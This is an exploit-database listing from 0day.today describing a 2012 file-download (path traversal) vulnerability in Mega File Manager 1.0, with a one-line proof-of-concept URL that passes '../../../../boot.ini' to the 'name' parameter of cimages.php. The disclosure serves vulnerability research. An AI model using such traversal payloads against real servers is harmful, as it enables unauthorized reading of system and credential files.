[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mega File Manager - File Download Vulnerability

Author
i2sec
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-18118
Category
web applications
Date add
22-04-2012
Platform
php
# Exploit Title: [MegaFileManager FileDownload Vulnerability
 
# date: 2012-04-19
 
# Author: i2sec-Min Gi Jo
 
# Software Link: http://www.awesomephp.com/?Download*5
 
# Version: Mega File Manager V 1.0
 
# Tested on: Windows
 
# Description : There is no filtering on 'cimages.php' parameter 'name'.
 
 
# PoC : http://[server]/megafilemanager/cimages.php?name=../../../../boot.ini



#  0day.today [2024-10-05]  #